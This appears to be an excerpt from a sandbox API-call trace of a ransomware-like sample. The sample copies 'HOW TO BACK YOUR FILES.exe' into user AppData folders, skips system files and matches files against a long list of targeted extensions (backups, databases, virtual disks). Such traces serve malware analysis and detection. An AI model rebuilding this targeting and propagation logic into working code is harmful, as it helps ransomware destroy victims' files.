	[0050.367] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data"
	[0050.368] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data"
	[0050.368] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\data\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.372] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3617ca70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3617ca70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.372] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.372] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.372] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data"
	[0050.372] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data"
	[0050.372] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.373] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.373] GetLastError () returned 0x0
	[0050.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.373] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.374] CloseHandle (hObject=0x15c) returned 1
	[0050.374] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.374] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3617ca70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3617ca70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0050.374] GetLastError () returned 0x5
	[0050.374] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\* FindFirstFile error 5\r\n") returned 94
	[0050.374] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\* FindFirstFile error 5\r\n") returned 94
	[0050.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.374] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1574
	[0050.374] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x5e, lpOverlapped=0x0) returned 1
	[0050.374] CloseHandle (hObject=0x15c) returned 1
	[0050.375] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0050.375] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe"
	[0050.375] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe"
	[0050.375] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.378] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361a2bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361a2bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.379] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.379] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.379] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.379] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361a2bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361a2bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.379] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.379] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.379] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="Apollon865.txt.exe") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1
	[0050.379] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1
	[0050.379] lstrlenW (lpString="Acrobat") returned 7
	[0050.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*") returned 51
	[0050.379] lstrcmpiW (lpString1="Color", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.379] lstrcmpiW (lpString1="Color", lpString2="Apollon865.txt.exe") returned 1
	[0050.379] lstrcmpiW (lpString1="Color", lpString2=".") returned 1
	[0050.379] lstrcmpiW (lpString1="Color", lpString2="..") returned 1
	[0050.379] lstrcmpiW (lpString1="Color", lpString2="windows") returned -1
	[0050.379] lstrcmpiW (lpString1="Color", lpString2="bootmgr") returned 1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="temp") returned -1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="pagefile.sys") returned -1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="boot") returned 1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="ids.txt") returned -1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="ntuser.dat") returned -1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="perflogs") returned -1
	[0050.380] lstrcmpiW (lpString1="Color", lpString2="MSBuild") returned -1
	[0050.380] lstrlenW (lpString="Color") returned 5
	[0050.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned 57
	[0050.380] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.380] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x361a2bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x361a2bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.380] FindClose (in: hFindFile=0x5ca410 | out: hFindFile=0x5ca410) returned 1
	[0050.380] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0050.380] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color"
	[0050.380] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color"
	[0050.380] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.380] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.384] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361a2bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361a2bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.384] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.384] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.384] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.384] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361a2bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361a2bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.384] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.384] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.384] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.384] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.384] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2="Apollon865.txt.exe") returned -1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2=".") returned 1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2="..") returned 1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2="windows") returned -1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2="bootmgr") returned -1
	[0050.384] lstrcmpiW (lpString1="ACECache11.lst", lpString2="temp") returned -1
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2="pagefile.sys") returned -1
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2="boot") returned -1
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2="ids.txt") returned -1
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2="ntuser.dat") returned -1
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2="perflogs") returned -1
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2="MSBuild") returned -1
	[0050.385] lstrlenW (lpString="ACECache11.lst") returned 14
	[0050.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*") returned 57
	[0050.385] lstrcmpiW (lpString1="ache11.lst", lpString2="Apollon865") returned -1
	[0050.385] lstrlenW (lpString=".dll") returned 4
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2=".dll") returned 1
	[0050.385] lstrlenW (lpString=".lnk") returned 4
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2=".lnk") returned 1
	[0050.385] lstrlenW (lpString=".ini") returned 4
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2=".ini") returned 1
	[0050.385] lstrlenW (lpString=".sys") returned 4
	[0050.385] lstrcmpiW (lpString1="ACECache11.lst", lpString2=".sys") returned 1
	[0050.385] lstrlenW (lpString="ACECache11.lst") returned 14
	[0050.385] lstrlenW (lpString="bak") returned 3
	[0050.385] lstrcmpiW (lpString1="lst", lpString2="bak") returned 1
	[0050.385] lstrlenW (lpString="ba_") returned 3
	[0050.385] lstrcmpiW (lpString1="lst", lpString2="ba_") returned 1
	[0050.385] lstrlenW (lpString="dbb") returned 3
	[0050.385] lstrcmpiW (lpString1="lst", lpString2="dbb") returned 1
	[0050.385] lstrlenW (lpString="vmdk") returned 4
	[0050.385] lstrcmpiW (lpString1=".lst", lpString2="vmdk") returned -1
	[0050.385] lstrlenW (lpString="rar") returned 3
	[0050.385] lstrcmpiW (lpString1="lst", lpString2="rar") returned -1
	[0050.385] lstrlenW (lpString="zip") returned 3
	[0050.385] lstrcmpiW (lpString1="lst", lpString2="zip") returned -1
	[0050.385] lstrlenW (lpString="tgz") returned 3
	[0050.385] lstrcmpiW (lpString1="lst", lpString2="tgz") returned -1
	[0050.385] lstrlenW (lpString="vbox") returned 4
	[0050.386] lstrcmpiW (lpString1=".lst", lpString2="vbox") returned -1
	[0050.386] lstrlenW (lpString="vdi") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="vdi") returned -1
	[0050.386] lstrlenW (lpString="vhd") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="vhd") returned -1
	[0050.386] lstrlenW (lpString="vhdx") returned 4
	[0050.386] lstrcmpiW (lpString1=".lst", lpString2="vhdx") returned -1
	[0050.386] lstrlenW (lpString="avhd") returned 4
	[0050.386] lstrcmpiW (lpString1=".lst", lpString2="avhd") returned -1
	[0050.386] lstrlenW (lpString="db") returned 2
	[0050.386] lstrcmpiW (lpString1="st", lpString2="db") returned 1
	[0050.386] lstrlenW (lpString="db2") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="db2") returned 1
	[0050.386] lstrlenW (lpString="db3") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="db3") returned 1
	[0050.386] lstrlenW (lpString="dbf") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="dbf") returned 1
	[0050.386] lstrlenW (lpString="mdf") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="mdf") returned -1
	[0050.386] lstrlenW (lpString="mdb") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="mdb") returned -1
	[0050.386] lstrlenW (lpString="sql") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="sql") returned -1
	[0050.386] lstrlenW (lpString="sqlite") returned 6
	[0050.386] lstrcmpiW (lpString1="11.lst", lpString2="sqlite") returned -1
	[0050.386] lstrlenW (lpString="sqlite3") returned 7
	[0050.386] lstrcmpiW (lpString1="e11.lst", lpString2="sqlite3") returned -1
	[0050.386] lstrlenW (lpString="sqlitedb") returned 8
	[0050.386] lstrcmpiW (lpString1="he11.lst", lpString2="sqlitedb") returned -1
	[0050.386] lstrlenW (lpString="xml") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="xml") returned -1
	[0050.386] lstrlenW (lpString="$er") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="$er") returned 1
	[0050.386] lstrlenW (lpString="4dd") returned 3
	[0050.386] lstrcmpiW (lpString1="lst", lpString2="4dd") returned 1
	[0050.387] lstrlenW (lpString="4dl") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="4dl") returned 1
	[0050.387] lstrlenW (lpString="^^^") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="^^^") returned 1
	[0050.387] lstrlenW (lpString="abs") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="abs") returned 1
	[0050.387] lstrlenW (lpString="abx") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="abx") returned 1
	[0050.387] lstrlenW (lpString="accdb") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accdb") returned -1
	[0050.387] lstrlenW (lpString="accdc") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accdc") returned -1
	[0050.387] lstrlenW (lpString="accde") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accde") returned -1
	[0050.387] lstrlenW (lpString="accdr") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accdr") returned -1
	[0050.387] lstrlenW (lpString="accdt") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accdt") returned -1
	[0050.387] lstrlenW (lpString="accdw") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accdw") returned -1
	[0050.387] lstrlenW (lpString="accft") returned 5
	[0050.387] lstrcmpiW (lpString1="1.lst", lpString2="accft") returned -1
	[0050.387] lstrlenW (lpString="adb") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="adb") returned 1
	[0050.387] lstrlenW (lpString="adb") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="adb") returned 1
	[0050.387] lstrlenW (lpString="ade") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="ade") returned 1
	[0050.387] lstrlenW (lpString="adf") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="adf") returned 1
	[0050.387] lstrlenW (lpString="adn") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="adn") returned 1
	[0050.387] lstrlenW (lpString="adp") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="adp") returned 1
	[0050.387] lstrlenW (lpString="alf") returned 3
	[0050.387] lstrcmpiW (lpString1="lst", lpString2="alf") returned 1
	[0050.388] lstrlenW (lpString="ask") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="ask") returned 1
	[0050.388] lstrlenW (lpString="btr") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="btr") returned 1
	[0050.388] lstrlenW (lpString="cat") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="cat") returned 1
	[0050.388] lstrlenW (lpString="cdb") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="cdb") returned 1
	[0050.388] lstrlenW (lpString="ckp") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="ckp") returned 1
	[0050.388] lstrlenW (lpString="cma") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="cma") returned 1
	[0050.388] lstrlenW (lpString="cpd") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="cpd") returned 1
	[0050.388] lstrlenW (lpString="dacpac") returned 6
	[0050.388] lstrcmpiW (lpString1="11.lst", lpString2="dacpac") returned -1
	[0050.388] lstrlenW (lpString="dad") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="dad") returned 1
	[0050.388] lstrlenW (lpString="dadiagrams") returned 10
	[0050.388] lstrcmpiW (lpString1="ache11.lst", lpString2="dadiagrams") returned -1
	[0050.388] lstrlenW (lpString="daschema") returned 8
	[0050.388] lstrcmpiW (lpString1="he11.lst", lpString2="daschema") returned 1
	[0050.388] lstrlenW (lpString="db-journal") returned 10
	[0050.388] lstrcmpiW (lpString1="ache11.lst", lpString2="db-journal") returned -1
	[0050.388] lstrlenW (lpString="db-shm") returned 6
	[0050.388] lstrcmpiW (lpString1="11.lst", lpString2="db-shm") returned -1
	[0050.388] lstrlenW (lpString="db-wal") returned 6
	[0050.388] lstrcmpiW (lpString1="11.lst", lpString2="db-wal") returned -1
	[0050.388] lstrlenW (lpString="dbc") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="dbc") returned 1
	[0050.388] lstrlenW (lpString="dbs") returned 3
	[0050.388] lstrcmpiW (lpString1="lst", lpString2="dbs") returned 1
	[0050.388] lstrlenW (lpString="dbt") returned 3
